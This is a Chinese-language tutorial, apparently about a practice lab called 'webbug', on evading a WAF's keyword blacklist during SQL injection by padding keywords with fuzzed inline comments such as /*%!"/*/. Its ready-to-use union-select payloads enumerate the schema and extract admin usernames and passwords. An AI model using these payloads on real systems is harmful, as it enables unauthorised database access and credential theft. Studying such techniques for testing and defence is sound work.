sql注入内联注释过waf
sql注入内联注释过waf
正常输入:1
然后尝试:-1
order by
被拦截
然后单独尝试order
或者by
单独的order或者by并没有被拦截,内联注释干扰黑名单检测
-1/**/order/**/by 3
只是简单的/**/
也被过滤了,那么就在/**/
中间加干扰
用-1 and 1=1
来进行测试,burp抓包,然后在被过滤的关键字前后加注释,注释中间用§ §来进行**定点,配置如下
字符集设置一些字符数字字母随机组合干扰
然后进行**
响应没有显示waf的为**成功的结果
此处采用payload1来进行内联注释的干扰/*%!"/*/
-1/*%!"/*/and/*%!"/*/1=1
由此看出,此时and并没有被waf黑名单检测到
然后进行order by查询-1/*%!"/*/order/*%!"/*/by 3
-1/*%!"/*/order/*%!"/*/by 4
由此可得,查询3项数据
然后union select查询-1/*%!"/*/union/*%!"/*/select 1,2,3
2和3处可以查询自己想要的信息
查database:此处database单个单词没被加黑名单,database()被加黑名单了,那就在database和()中间加注释:-1/*%!"/*/union/*%!"/*/select+1,/*%!"/*/database/*%!"/*/(),3
查询到的database为webbug
然后查表名输入-1可以看到
其中web所用的表是news,如果结果中没news的话,可能是如法错了
用group_concat来查询table_name:-1/*%!"/*/union/*%!"/*/select+1,group_concat(table_name),3/*%!"/*/from information_schema.tables where/*%!"/*/table_schema='webbug'
结果如下:
查user表的columns信息
-1/*%!"/*/union/*%!"/*/select 1,group_concat(column_name),3/*%!"/*/from information_schema.columns where/*%!"/*/table_schema='webbug'/*%!"/*/and/*%!"/*/table_name='user'
这里可以查到用户信息以及密码
我们这里查uid=1的用户作为例子:
-1/*%!"/*/union/*%!"/*/select 1,group_concat(uname),group_concat(pwd)/*%!"/*/from webbug.user where/*%!"/*/uid=1
admin用户的信息就查到了
其他表信息同理